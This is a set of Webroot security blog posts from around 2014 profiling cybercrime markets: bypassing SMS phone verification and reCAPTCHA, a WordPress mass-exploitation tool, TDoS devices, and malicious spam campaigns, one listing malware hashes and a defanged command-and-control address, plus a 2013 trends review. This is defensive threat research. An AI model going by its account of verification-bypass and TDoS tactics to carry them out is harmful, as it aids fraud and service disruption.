Fully automated, API-supporting service, undermines Facebook and Google's 'SMS/Mobile number activation' account registration process - Webroot Blog

facebook linkedin twitter

Operating in a world dominated by millions of **malware-infected hosts** acting as proxies for the facilitation of fraudulent and malicious activity, the Web's most popular properties are constantly looking for ways to add additional layers of authentication to the account registration process of prospective users, in an attempt to undermine automatic account registration tactics. With **CAPTCHA under automatic fire from newly emerging CAPTCHA solving/breaking services** , re-positioning the concept from what was once the primary automatic account registration prevention mechanism, to just being a part of the 'authentication mix' these days, in recent years, a new (layered) authentication concept got the attention of the Web's 'most popular'. Namely, the introduction of SMS/Mobile number account verification, a direct result of **wide adoption of mandatory prepaid SIM card registration internationally** , in the context of preventing crime and terrorism.

Naturally, the bad guys quickly adapted to the new authentication mechanism, and in a true 'malicious economies of scale' fashion, undermined the concept, successfully continuing to populate any Web property with hundreds of thousands of bogus accounts, degrading the quality of the services offered, as well as directly abusing the one-to-one/one-to-many trust model in place. How do they do it? What type of tactics do they rely on in an attempt to bypass the mandatory prepaid SIM cards registration process, in order to secure a steady flow of tens of thousands of **non-attributable SIM cards** , at any given moment in time, empowering them to bypass the SMS/Mobile number activation account registration process? Let's find out.

The practice, largely relying on the notion that, if a potential user would be required to present a valid ID to his/her mobile operator in order to get a SIM card, he/she would think twice before engaging in fraudulent, potentially malicious activities, in combination with limiting the number of SIM cards issued per person (for instance **10 prepaid SIM cards in Singapore** , and **18 SIM cards per person in Vietnam**), is sadly, **fundamentally flawed** due to a **couple of reasons** .

For years, the **underground marketplace** has been **systematically** supplying **high-quality fake IDs/passports/diplomas/certificates** and virtually any other kind of documentation, largely relying on a pool of talented designers, **flawed secure printing supply chain logistics** in terms of the easy to obtain blank plastics/document templates/holograms, as well as the actual equipment necessary to produce them in batches. This allows a cybercriminal/cybercriminal syndicate, to secure non-attributable access to virtually anything that requires a valid ID as means of authentication. That, ‘naturally’, includes **compromised credit card details** — sometimes required as an alternative to ID for the purpose of obtaining a SIM card — which in 2014, represents nothing more that **a commoditized underground market item** , largely due to the oversupply driven by the emergence of sophisticated **crimeware releases** , the **evolution** of **ATM skimming** technologies, and the **bypassing of two-factor authentication/OTP** , empowering novice cybercriminals with the necessary ‘know-how’ needed to obtain them. Yet another largely overlooked fraudulent tactic used to secure a decent supply of non-attributable SIM cards/mobile numbers, is the reliance on insiders, most commonly dealers of mobile operator services, monetizing the access to the operator’s databases, for fraudulent/malicious purposes.

Sadly, it wouldn’t be fraudulent/malicious operations in 2014 if they didn’t already manage to synchronize all levels of the fraudulent ecosystem, resulting in the commercial availability of APIs-supporting, 100% automated supply of non-attributable mobile numbers in a virtual, Web based environment, for the purpose of automatically bypassing the SMS/Mobile number activation authentication process of Russia’s most popular social networks, as well as the Facebook and Google account activation process. Which is exactly what the service that I’ll discuss in this post, is doing.

In addition to the 100% automation of the SMS/Mobile number activation process, thanks to a steady supply of non-attributable mobile numbers, and the fact that the service is guaranteeing that the number’s owner can never connect its use with that of the service’s core functionality, the service is also pitching itself as integration-ready with an extremely popular automatic account registration tool that specializes in bypassing the SMS/Mobile number account activation process.

Sample screenshots of the customer’s panel showcasing the automatic SMS/Mobile number activation service’s core features:

The service is already listing tens of thousands of available mobile numbers, to be abused in upcoming SMS/Mobile number account activation campaigns. Thanks to its API, it is also endorsing a DIY automatic account registration tool that’s exclusively specializing in SMS/Mobile number based type of registrations. The actual mobile numbers are Russia, Ukraine and Belarus “based”.

Sample screenshots of the automatic SMS/Mobile number account verification bypassing tool in action, exclusively relying on the service’s API:

Another aspect of the fraudulent/malicious ecosystem behind the rise and commercially availability of this type of service, adapting to current automatic account registration protection mechanisms, is the reliance on insiders (dealers) of mobile operator services, for the purpose of supplying an endless stream of non-attributable mobile numbers. We’re currently aware of such insider activity, and we’re positive that a lot of similar activity is taking place under the radar.

Sample screenshot of the administration panel of a mobile service operator dealer’s admin account, showcased for the purpose of offering anonymous, on demand non-attributable mobile numbers, to assist in fraudulent/malicious activities:

As always, we’re actively monitoring this underground market segment, and will be posting updates, as soon as new developments take place.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Newly Launched reCAPTCHA-Solving Service Targets Google's reCAPTCHA | Webroot

facebook linkedin twitter

It can be easily argued, that **CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart)** , is the modern day's 'guardian of the Web', in the context of preventing the mass, systematic, and efficient abuse of virtually each and every Web property there is.

Over the years, CAPTCHA developers continued to strike a **balance between the actual usability and sophistication/resilience to attacks** , while excluding the beneath the radar emergence of a trend, which would later on prove to successfully exploit a fundamental flaw in the very concept of the CAPTCHA process. Namely, the fact that, the very same humans it was meant to differentiate against the automated bots, would start to efficiently monetize the solving process, relying on the 'human factor', instead of applying scientific based type of attack methods.

Acquired by Google in 2009, reCAPTCHA, quickly emerged as a market leader in the space, leading to good old fashioned (eventual) **exploitation of monocultural type of flaws** , **applied not just by security researchers** , but naturally, by cybercriminals as well. How do cybercriminals **bypass the Web's most popular CAPTCHA** ? Do they rely on human-factor type of attacks, or continue aiming to scientifically break it, like it is most commonly assumed by CAPTCHA developers? Based on the average response times that we're aware of, a newly launched CAPTCHA-solving/breaking service, that's exclusively targeting Google reCAPTCHA, might have actually found a way to automate the process, as we're firm believers in the fact that, no 'CAPTCHA solving junkie', can solve a reCAPTCHA in less than a second. Let's take a peek inside the service, discuss its relevance in the CAPTCHA-solving/breaking market segment, and why its reliance on an affiliate network type of revenue sharing scheme, is poised to help the service, further acquire high-end customers, namely vendors of blackhat SEO/spam tools.

Despite the numerous and persistent attempts we've observed over the years, on behalf of efficiency-oriented cybercriminals, relying on machine-learning CAPTCHA breaking attack scenarios, further fueling growth of the ever-green underground market segment for automatically registered bogus accounting data, in 2014, based on our situational awareness, low-waged human CAPTCHA-solvers, remain the primary attack tactic of choice. A fact which naturally leads to a vibrant fraudulent ecosystem, whose existence continues empowering market leading blackhat SEO (search engine optimization) and spamming tools, with real-time CAPTCHA-solving capabilities, consequently account registration/Web property abuse capabilities. Largely relying on an API-based type of platforms, as well as the non-stop supply of clean IPs through the use of compromised hosts as proxies, the CAPTCHA-solving market segment continues getting populated by new entrants, the bulk of whose CAPTCHA-solving activities, gets outsourced to 24/7/365 operating CAPTCHA-solving farms, like the ones I extensively researched back in 2007, and 2008.

What's new in 2014? As we've been monitoring a newly launched CAPTCHA solving/breaking service for a few days now, it's time to take a peek inside its customer's interface, to showcase its unique differentiation factors.

Sample screenshots from within the customer's interface of the reCAPTCHA solving/breaking service:

Average time for solving a reCAPTCHA using the service:

Related screenshots from within the customer's panel, demonstration the degree of automation offered to customers:

Sample screenshots confirming the ongoing integration of the managed reCAPTCHA solving/breaking service, within popular blackhat SEO/spamming tools:

Sample percentage statistics for solved/unsolved reCAPTCHAs using the service in action:

We believe that the service is relying on a machine-learning approach — based on the statistics obtained for the average time required to solve/break a reCAPTCHA which in this case is less than second — primarily syndicating clean IPs, through managed services offering an endless supply of malware-infected hosts (Socks4/Socks5), in an attempt to adapt to reCAPTCHAs challenge-response machine learning detection process, which works in a fairly simple way. The higher the probability/indication that a request is made in an automated fashion/bad IP reputation, the harder the CAPTCHA challenge presented to the human/bot. Therefore, we believe, that, it is the overall availability of malware-infected hosts within the underground marketplace, that's acting as a crucial success factor for the service's success, which, of course, should not exclude the machine learning approach which we believe is taking place as well.

The key to success embraced by this new CAPTCHA solving/breaking market segment entrant? Not surprisingly, the ubiquitous for the cybercrime ecosystem in terms of proven growth factors, **affiliate network based type of revenue sharing schemes** . In this particular case, vendors of blackhat SEO/spamming tools are asked to contact the service, in order to get their unique perimeters, with the service offering them 10% for every CAPTCHA solved correctly on behalf of their customers. As always, the logical degree of profitability of the service, will be proportional with its **ability to remain online** , which sadly, wouldn't be a problem in an extremely vibrant underground market segment offering **bulletproof hosting services** .

We'll continue monitoring the development of the service, and post updates as soon as new developments emerge.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

DIY Python-based mass insecure Wordpress scanning/exploting tool with hundreds of pre-defined exploits spotted in the wild - Webroot Blog

facebook linkedin twitter

Throughout **2013** , we not only witnessed the re-emergence of proven mass, efficiency-oriented Web site hacking/exploitation tactics, **such** as, **the reliance** on **Google Dorks scanning** , good old fashioned **brute-forcing** , but also, the introduction of new concepts, successfully utilizing/**standardizing** , both, **compromised accounting data** , and **server-farm level access** , in an attempt to fraudulently monetize the hijacked traffic from legitimate Web sites.

As we've seen on numerous occasions throughout the years, despite sophisticated 'innovations', cybercriminals are no strangers to the KISS (Keep It Simple Stupid) principle. Case in point in terms of Content Management Systems (CMSs) is WordPress, whose **market share** is naturally proportional with attention the platform is receiving from fraudulent/malicious adversaries. In this post, I'll discuss a DIY type of Python-based mass WordPress scanning/exploiting tool, available on the underground marketplace since July 2013, emphasize on its core features, and overall relevance in a marketplace dominated by competing propositions.

Sample screenshot of the tool in action:

Sample screenshots of the tool's configuration file:

Sample tool output:

Among the first features worth emphasizing on, is a good old fashioned Russian/Eastern European cybercriminal's mentality namely **the exclusion of Russian/Eastern European traffic from the exploitation process** — in **direct contradiction** with these greed driven **underground market propositions** — through an option, allowing the tool's customer to prevent Russian Web sites from being scanned/exploited. In comparison with known tactics relying on the **syndication of remotely exploitable vulnerabilities** , and utilizing them for scanning/exploitation through **the use of botnets** , the **proxy-supporting** DIY tool, has a built-in database of hundreds of publicly available/patched exploits, and is capable of scanning tens of thousands of WordPress installations in a multi-threaded fashion. Relevant examples of such type of mass abuse, include 2010's mass WordPress exploitation campaigns affecting, **GoDaddy** and **Network Solutions** .

Price of the tool? $200.

WordPress user are advised to educate themselves on basic **WordPress hardening practices** , as well as to inquire whether or not their WordPress hosting provider is issuing security patches in a managed fashion.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

New TDoS market segment entrant introduces 96 SIM cards compatible custom GSM module, positions itself as market disruptor - Webroot Blog

facebook linkedin twitter

In need of a good example, that malicious adversaries are constantly striving to 'innovate', thereby disrupting underground market segments, rebooting **TTPs' (tactics, techniques and procedures)** life cycles, standardizing and industrializing their fraudulent/malicious 'know-how'? We're about to give you a pretty good one.

Regular readers of Webroot's Threat Blog, are no strangers to the emerging **TDoS (Telephony Denial of Service)** underground market segment. Primarily relying on the active abuse of **legitimate services** , such as, for instance, **Skype** and **ICQ** , as well as to the efficient and mass **abuse of non-attributable SIM cards** , for the purpose of undermining the availability of a victim's/organization's mobile/communication's infrastructure, the market segment continues flourishing. Rather a trend, than a fad, established **DDoS (Distributed Denial of Service)** for hire vendors, are already busy **'vertically integrating' within the underground marketplace** , by starting to offer TDoS for hire services, either relying on a partnership with a TDoS vendor, or through the reliance on an in-house built infrastructure, established through the use of public/commercially available TDoS tools.

Back in July, 2012, a relatively unknown underground market entrant, publicly announced his ambitions to build a custom TDoS-ready GSM module, capable of supporting between 100-200 non-attributable SIM cards simultaneously, using custom coded management software. In a true product customer-ization style, he also started soliciting feedback, and touching base with potential customers of the custom module, in between promising them a “democratic” pricing scheme for the upcoming release. Then came the ‘innovation’. In November 2013, he made commercially available, what we believe is the first such public/commercially available TDoS-ready custom GSM module, whose very existence is poised to further fuel the growth of the TDoS market segment, tip potential competitors to the rise of the market segment, and directly contribute to the emergence of new TDoS vendors.

Let’s discuss the custom GSM module’s core functionalities, pricing scheme, and why its vendor can easily claim the market disruptor position in early 2014.

Sample screenshot of the 96 simultaneous SIM cards supporting custom GSM module:

The package contains: – the actual GSM module, case for the module, USB cable
– Custom coded driver
– Custom coded management software
– Documentation
– Service Guarantee and Maintainance in a true QA (Quality Assurance) fashion
– Free of change customer support

The GSM module is capable of efficiently — through the custom coded software — doing the following: – Receive SMS messages
– Send SMS messages
– Call any number
– Notification for upcoming calls
– Check SIM card balance etc.

Key differentiation/market disruption (growth) factors: – The vendor is offering his ‘know-how’ in the context of building similar SIP/VoIP-based custom modules
– Cybercrime-friendly community members of (community in question) are offered discounts
– The vendor is actively looking for ways to further penetrate the market segment, through affiliate based type of program

The price of the custom GSM module? 59,000 rubles or 1764 USD.

Despite being largely generalized as a widespread ‘unethical competition’ tactic primarily taking place within Russia/Eastern Europe, in 2013, the Department of Homeland Security (DHS), the Federal Bureau of Investigation (FBI), issued a rare, eye-opening, **TDoS alert** , raising awareness on a ransom based type of TDoS campaigns, hitting call centers/emergency phone lines, indicating that the market segment is definitely prone to expand oversees.

We’ll continue to closely monitor the market segment, and post updates as soon as new developments take place.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Vendor of TDoS products resets market life cycle of well known 3G USB modem/GSM/SIM card-based TDoS tool - Webroot Blog

facebook linkedin twitter

Driven by popular demand, the underground market segment for **TDoS (Telephony Denial of Service) attacks** continues flourishing with established vendors continuing to actively develop and release new **DIY (do-it-yourself)** type of tools. Next to successfully empowering potential customers with the necessary 'know-how' needed to execute such type of attacks, vendors are also directly contributing to the development of the market segment with new market entrants setting up the foundations for their business models, using these very same tools, largely relying on the lack of situational awareness/understanding of the underground market transparency of prospective customers. Positioned in a situation as 'price takers', they'd be often willing to pay a premium to gain access to TDoS type of attack capabilities, with the intermediary in a perfect position to command a high profit margin, further improving the market segment's capitalization.

A well known (Russian) vendor of TDoS products continues 'innovating' and utilizing basic customer-ization concepts, thereby introducing new features into well known TDoS 'releases', bug fixes, and overly-continuing to actively maintain a decent portfolio of multiple TDoS applications. Let's take a peek at the most recently updated, 3G USB Modem/GSM/SIM card based of TDoS attack application, dubbed by the vendor as the most effective and cost-effective form of TDoS attack.

Sample screenshots of the 3G USB Modem/GSM/SIM card based TDoS tool:

Sample screenshot of a sample inventory of 3G USB Modems utilized for launching TDoS attacks:

In combination with the **commercial availability of non-attributable SIM cards** , both TDoS vendors, and customers utilizing the technique in a DIY fashion, would continue taking advantage of the concept, successfully undermining the availability of a victim's phone/corporate phone system. Moreover, in our "**Cybercrime Trends 2013 – Year in Review** " analysis, we indicated that the TDoS market segment is gaining the necessary market traction, thanks to, for instance, proven DDoS (Distributed Denial of Service) attacks vendors, 'vertically integration' by starting to offer TDoS services next to their portfolio of DDoS type of attacks.

We'll continue monitoring the TDoS market segment and post updates as soon as new developments emerge.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you're a home or business user, we're dedicated to giving you the awareness and knowledge needed to stay ahead of today's cyber threats.

facebook linkedin twitter

'Adobe License Service Center Order NR' and 'Notice to appear in court' themed malicious spam campaigns intercepted in the wild - Webroot Blog

facebook linkedin twitter

Happy New Year, everyone! Despite the lack of blog updates over the Holidays, we continued to intercept malicious campaigns over the same period of time, proving that the bad guys never take holidays. In this post, I'll profile two prolific, social engineering driven type of malicious spam campaigns that we intercepted over the Holiday season, and naturally (proactively) protected you from.

More details:

The first campaign successfully impersonates Adobe's License Service Center, in an attempt to trick users into thinking that they've successfully purchased a Creative Suite 6 Design Standard software license key.

Sample screenshot of the first spamvertised campaign:

Detection rate for the spamvertised attachment: MD5: 10dbbaaceda4dce944ebb9c777f24066 – detected by 40 out of 48 antivirus scanners as TrojanDownloader:Win32/Kuluoz.D.

The second campaign, attempts to trick users into thinking that they've received a notice to appear in court.

Sample screenshot of the spamvertised attachment:

Detection rate for the spamvertised attachment: MD5: c77ca2486d1517b511973ad1c923bb7d – detected by 38 out of 47 antivirus scanners as TrojanDownloader:Win32/Kuluoz.D; Backdoor.Win32.Androm.bket.

Once executed the sample phones back to: *hxxp://109.169.87.141/798475540DFA75FE5945D24FA5CBF9A5578EB29359 (picasa.com.fidelidadeciel0.com is also known to have responded to 200.98.141.0)*

Two more MD5s are known to have responded to the same C&C IP in the past, namely: MD5: c77ca2486d1517b511973ad1c923bb7d MD5: c1c56f3ae9f9da47e1c0ebdb2cffa2a3

Webroot SecureAnywhere users are protected from these threats.

About the Author

Blog Staff

The Webroot blog offers expert insights and analysis into the latest cybersecurity trends. Whether you’re a home or business user, we’re dedicated to giving you the awareness and knowledge needed to stay ahead of today’s cyber threats.

facebook linkedin twitter

Cybercrime Trends 2013 - Year in Review - Webroot Blog

facebook linkedin twitter

It’s that time of the year! The moment when we reflect back on the cybercrime tactics, techniques and procedures (TTPs) that shaped 2013, in order to constructively speculate on what’s to come for 2014 in terms of fraudulent and malicious campaigns, orchestrated by opportunistic cybercriminal adversaries across the globe. Throughout 2013, we continued to observe and profile TTPs, which were crucial for the success, profitability and growth of the cybercrime ecosystem internationally, such as, for instance, widespread proliferation of the campaigns, professionalism and the implementation of basic business/economic/marketing concepts, improved QA (Quality Assurance), vertical integration in an attempt to occupy market share across multiple verticals, as well as the re-emergence of known, and well proven cybercrime-friendly concepts like standardization and **DIY (do-it-yourself)** type of propositions.

Eager to learn more? Keep reading!

This comprehensive summary will answer the following questions:

Which were the most prolific malware/client-side exploits serving/social engineering driven campaigns, that popped up on our radar, what exploitation tactics did they rely on, and what made me so successful in the first place?
Which were the most commonly abused trusted/legitimate/reputable company names throughout 2013?
Which was the most efficient concept through which cybercriminals monetized their campaigns?
Why did the bad guys resurrect old school cybercrime-friendly concepts in 2013, and were they successful in their re-implementation?
Is it easier to become a cybercriminal in 2013, than it was in 2012?

What were the most noticeable examples of malicious/fraudulent ‘innovation’ introduced by the bad guys in 2013?

Let’s list the cybercrime trends that shaped 2013, and discussing each of them in-depth, to further elaborate on our observations.

Top Cybercrime Trends That Shaped 2013

The rise and fall of Paunch and the market leading Blackhole Web malware exploitation kit – **The Blackhole Web malware exploitation kit** , represented the primary growth factor for a huge percentage of the successful client-side exploits serving campaigns throughout 2013, until Paunch — the kit’s author — and his gang got arrested, leading to an evident decline in malicious Web activity, which was once attributed to the sophistication and systematic updates pushed to the kit’s customers. Not only did the Blackhole Web malware exploitation kit occupy the largest share of malicious Web activity, but also, the **‘vertical market integration’** done by Paunch in the face of his managed ‘value-added’ script/iframe crypting sevice, further expanded the kit’s author market share of malicious Web activity throughout the year. Naturally, we’ve kept a decent percentage of these back then circulating in the wild, malicious campaigns, under close monitoring, and successfully profiled and protected against the following campaigns, affecting major trusted/legitimate/reputable brands – **two instances** of **Verizon Wireless** themed campaigns, **the BBB** (**Better Business Bureau**), **rogue bank reports** themed campaign, rogue **Ebay purchase confirmations** , **AICPA** , **U.S Airways** , **two instances** of **ADP themed campaigns** , **EFTPS** , **Intuit** , **LinkedIn** , **PayPal** , **FedEx** , **Amazon** , **Facebook** , **IRS** , **two instances** of rogue **Wire Transfer** themed campaigns, **Data Processing Service** , **CNN** , and the **BBC** , were all impersonated to participate in client-side exploits serving and malware-dropping campaigns, relying on the Blackhole Web malware exploitation kit. Despite the existence of competing Web malware exploitation offerings, that continue to receive updates and offer support in 2013, Blackhole Web malware exploitation kit’s leading market share attracted the necessary law enforcement attention, ending an era of a monetized, efficiency-oriented client-side exploitation process that has affected millions of users over the year. Due to the easy to anticipate demand for a quality and sophisticated enough competing offering, we believe it's only a matter of time that current market segment offerings will either reach the sophisticated of the Blackhole kit, or a new market entrant will once again lead the segment with its leadership market share position in 2014.

The continued development of the TDoS (Telephony Denial of Service) market segment – 2013 marked an important year in the development of an extremely popular within Russia/Eastern Europe market segment, the TDos (Telephony Denial of Service) market segment. Thanks to a lethal combination of managed services, and commercially available DIY (do-it-yourself) TDoS tools, unethical competition and average cybercriminals continued launching TDoS attacks against the competition, or prospective victims in an attempt to deny them the ability to realize that they're about to get virtually robbed, with the practice when performed in a 'perfect timing' fashion, successfully undermining the phone/SMS based suspicious transaction verification process where applicable. The market further developed thanks to the 'vertical integration' applied by DDoS (Distributed Denial of Service) vendors , who also started offering TDoS attack capabilities to prospective customers. With the ease of obtaining compromised SIP accounts at legitimate providers , their lack of implemented self-policing processes, as well as the prevalence of DIY TDoS tools abusing legitimate services such as Skype , ICQ or a mobile carrier's mail2sms feature, cybercriminals would remain in perfect position to continue launching this type of attacks, in 2014.

The proliferation of PUAs (Potentially Unwanted Applications), successfully infiltrating major ad networks – Potentially Unwanted Applications (PUAs) continued representing an ever-green market segment, primarily driven by visual social engineering campaigns, in an attempt to trick users into installing privacy-violating applications on their hosts. Throughout 2013, we kept on a short leas, a decent percentage of the most prolific PUA campaigns, whose traffic acquisition tactics relied on unethical use of major ad networks for the purpose of displaying catchy ads. Some notable examples of PUA families that we kept track of, and protected our users against, included, but are not limited to – iLivid's 'Searchqu Toolbar/Search Suite' PUA , the SafeMonitorApp PUA , the KingTranslate PUA , the 'Oops Video Player' PUA , two instances of InstallCore PUA pushed campaigns, two instances of Somoto.BetterInstaller PUA , the InstallBrain PUA , the Bundlore PUA , the Mipony/FunMoods Toolbar PUA , the EzDownloaderpro PUA , the SpyAlertApp PUA , and the BubbleDock/Downware/DownloadWare PUA .

Managed cybercrime services continued professionalizing and implementing basic business concepts in order to attract new customers – Throughout 2013, we continued to observe an increase in managed cybercrime-as-a-service type of propositions, with the vendors behind the services, 'innovating' by filling in market niches, and consequently developing new market segments that we'll continue to closely monitor in 2014, due to the natural competition that will arise from the existence of these newly launched services. Next to ubiquitous for the cybercrime ecosystem managed services like script/iframe crypting , DIY (do-it-yourself) Web based malware crypting as as service , or the recently emerged 'bulletproof botnet hosting+setting up ' type of services targeting primarily novice cybercriminals, the bad guys also 'innovated' in the context of launching never before (publicly) released managed self-service type of products/services such as, for instance – managed ransomware services , DIY automatic Web site hacking services , hacked/compromised shells as a service , cybercrime-friendly redirectors generating as a service , as well as Operational Security (OPSEC) oriented propositions for non-attributable SIM cards , whose destruction once utilized for fraudulent/malicious activity could be requested as a service.

Evident increase in cybercrime-friendly affiliate networks for cross-mobile-operating-system (OS) malware – In 2013, we observed a logical development within the cybercrime ecosystem, namely, the general availability of affiliate networks for mobile malware , as a way for cybercriminals to create a win-win-lose scenario for them, the network's participants, an the prospective victims. Taking into consideration efficiency, sophistication, and revenue-sharing schemes, we expect to continue observing an increase in such type of affiliate networks, monetizing malware infected mobile devices , like the one we profiled earlier this year.

The re-emergence of cybercrime-friendly traffic exchanges, now exclusively supplying 'mobile traffic' for malware conversion – Underground market traffic exchanges have always been an inseparable part of the traffic acquisition of the modern cybercriminal. However, thanks to the fact that over the last couple of years, these very same cybercriminals started specializing in related traffic acqusition tactics such as malvertising, RFI (Remote File Inclusion)/SQL injections , blackhat SEO (search engine optimization), direct compromise of high-trafficked Web sites , and social engineering driven spam campaigns, resulted in a modest decline of sophisticated traffic exchanges like the ones we "got used to" to observe over the years. It didn't take long for the concept to re-emerge, with an interesting twist. In 2013, we not just observed an increase in the public availability of such traffic exchanges/marketplaces , but also, the direct offering of 'mobile traffic' to be later on converted to infected mobile devices , by exposing them to malicious/fraudulent content tailed to mobile users only .

Mobile spammers continued developing new cybercrime-friendly tools, signaling that the market segment is alive and well – With SMS increasing, a logical question emerges in the mind of the targeted recipient – how do the spammers know my mobile number? Throughout 2013, we continued to actively monitor this market segment, providing factual evidence on the prevalence of DIY mobile number harvesting tools , DIY tools for cost-effective validation that these numbers actually work, as well as managed services capable of supplying spammers with geolocated mobile numbers , potentially improving the success of their campaigns, thanks to the basic targeted marketing that could be applied to them. Thanks to the general/commercial availability of these tools, mobile spammers would continue to be in a perfect position to launch successful social engineering driven SMS/MMS based campaigns.

Cybercriminals 'innovated' within the flourishing market segment for fake IDs, passports, utility bills, certificates and

diplomas – The demand and supply for fake IDs, passports, utility bills, certificates and diplomas , continued to grow throughout the year , with the cybercriminals behind this ever-green cybercrime ecosystem market segment , actually 'innovating' with efficiency-oriented mentality in mind. Case in point – a service for fake scanned documents , that possess a database of passport-sized photos of real people, that fully randomizes the scanned output from a technical perspective, in an attempt to prevent the detection of an entire set of automatically, on-the-fly generated fake documents while using it. The concept marked a new milestone in the market segment, thanks to the utilization of the ecosystem-wide, efficiency-oriented tactic, with QA (Quality Assurance) elements in place. From a unique value proposition (UVP) in 2013, the concept will inevitably get widespread adoption across competing services, further undermining the remote authentication process relying on scanned documents as the primary means of verifying the identity of a user/customer.

Facebook themed malicious campaigns, including the ubiquitous "Who's Viewed Your Profile" privacy-invading campaign, exposed millions of users to rogue applications, privacy-violating browser extensions, Android/Windows adware/malware – Popularity has always been proportional with a decent degree of brand-associated malicious and fraudulent activity online. In 2013, cybercriminals systematically and efficiently targeted Facebook users, with multiple campaigns, exposing them to a cocktail of malicious/privacy-violating cross-platform 'releases'. Multiple campaigns were launched, and naturally profiled and disrupted. For instance, the fraudulent 'Facebook Profile Spy' themed campaign , the fraudulent 'Rihanna & Chris Brown S3X Video' campaign , the spamvertised "Friend Confirmation Request' campaign , followed by yet another spamvertised "You have friend suggestions, friend requests, and photo tags' themed campaign , and the massive 'Who's Viewed Your Facebook Profile' campaigns , that exposed over 1 million of Facebook's users to fraudulent and malicious content .

Hacked accounts and compromised-hosts-as-a-service type of underground market propositions, continued proliferating – The steady supply of hacked-PCs-as-a-service and compromised-accounts-as-a-service , that we observed in 2013 , continues to result in the inevitable commoditization of these underground market items . We attribute this trend, to the general availability of DIY/public/leaked and, of course, affordable commercially available malware/botnet generating tools, empowering novice cybercriminals , who'd later on seek profitable ways to monetize the fraudulently obtained accounting data /actual access to hacked/compromised hosts . Naturally, this ongoing commoditization is poised to lower down the prices of these items , with only a small number of vendor commanding high prices, largely relying on the customer's understanding/situational awareness in terms of the undergound market's transparency model.

Gamers got targeted through several cybercrime-friendly tools and services selling direct access to their data mined/brute-forced accounting data – Throughout 2013, gamers were the targets of cybercriminals empowering fellow cybercriminals, not just with DIY brute-forcing /spamming tools, but also, actual access to compromised accounting data for the most popular gaming platforms . The niche market segment, gained the attention of cybercriminals, who relying on basic marketing concepts such as segmentation, started monetizing it, while relying on proven TTPs, such as platform/Web site specific data harvesting , brute-forcing, or plain simple data mining of a botnet's 'infected population' for accounting data.

'Routine' spam campaigns with malicious attachments systematically rotating the impersonated brands, were an every day reality – In 2013, we intercepted tens of millions of purely malicious emails , whose reliance on good old fashioned social engineering tactics, in combination with the systematic rotation of the impersonated trusted and legitimate brands, empowered cybercriminals with the necessary 'infection rates' to maintain their botnets fully operational. Which brands got impersonated in these campaigns? FedEx , two instances of BofA themed campaigns , ADP , American Airlines , DHL , FedWire , two instances of Citibank themed campaigns , Vodafone , NYC's DMV , three instances of Vodafone U.K themed campaigns , Westminster

Hotel, iGO4, two instances of iPhone themed campaigns, O2, two instances of T-Mobile themed campaigns, Xerox, two instances of WhatsApp themed campaigns, HSBC, T-Mobile U.K, as well as multiple generic spamvertised malware campaigns – Changelog themed campaign, Helicopter Order themed campaign, Magic Malwaware spam run, Export License Payment, Unsuccessful Fax Transmission, Export License Invoice, FW:File themed campaign, Important Company Reports, Annual Form STD-261 themed campaign, and an instance of the October's Billing BAC themed campaign.

Money mule recruiters continued 'innovating' – With risk-forwarding still representing an inseparable part of the cybercrime ecosystem even in 2013, throughout the year we observed one interesting 'innovation', once again, efficiency-driven cybercriminal's concept related to the processing of Western Union themed transfers, followed by another interesting, this time, a very persistent and prolific high-profit margins oriented money mule recruitment campaign, targeting company owners. These cases lead us to believe that the ubiquitous risk-forwarding practie relying on gullible mules, will continue to mature in terms of new value-added service by major money mule recruitment syndicates, whereas they'd still rely on legitimate cross-country based hosting infrastructure for the actual recruitment pages/management interfaces.

Spam-friendly bulletproof SMTP servers made a comeback – Yet another trend that we observed in 2013, was the re-emergence of the bulletproof cybercrime-friendly SMTP server as a service, a surprising resurrection of an old, but proven tactic applied by cybercriminals who'd want to establish 'touch points' with prospective victims through email messages. Not only were vendors filling in the re-emerging market niche, but also, some were vertically integrating/adding related value-added services, in an attempt to either position themselves as one-stop-Eshops or occupy a bigger market share within the entire market segment.

DIY automatic account registration tools continued attracting the attention of vendors filling in the niche market segment – The automatic generation of rogue/bogus/fake accounts continued representing, continued representing a growing market segment, with multiple tools getting released during the year, affecting popular Web properties, such as, for instance, Youtube , Tumblr , Instagram , Russian and major international free email service providers . The continued development of this market segment, naturally, resulted in an anticipated increase in cybercrime-friendly 'social media boost' type of propositions , largely relying on a combination of, both, legitimate/compromised accounts, as well as automatically registered ones.

Event-based social engineering campaigns materialized in the face of the Boston Marathon Explosion, the Fertilizer plant explosion in Texas, as well as the an UNHCR-themed fraudulent campaigns – Cybercriminals have never been strangers to the concept of event-based social engineering attacks, in an attempt to increase the click-through rates of their fraudulent and malicious campaigns. On several occasions throughout 2013, we profiled such type of campaigns, that were basically a timely response to a major, newsworthy event, or a geopolitical situation. Case in point are the Boston Marathon Explosion, the Fertilizer plant explosion in Texas themed campaign , as well as the Syrian/UNHCR themed fraudulent campaign .

Blackhat SEO (search engine optimization) continued getting the necessary 'innovation boost' to remain a profitable cybercriminal's endavour – In 2013, blackhat SEO (search engine optimization) continued representing a maturing market segment within the ecosystem, with more products and services getting released by cybercrime-friendly vendors. Still relying on an ever-green market segment, namely, the market segment for hacked/compromised shells as a service , blackhat SEO still represented a major traffic acquisition tactic in the arsenal of the average cybercriminal, looking for efficient ways to abuse the World's major search engines. From the commercial availability of managed blackhat SEO services , the release of features-rich Web-based DIY doorways management platforms , Windows based hacked/compromised shells management tools , hacked/compromised shells interaction tools , to the QA (Quality Assurance) oriented released aiming to get rid of competing Web shells that could be located on the same host, that the cybercriminal is using, the market segment would continue flourishing in 2014, as well.

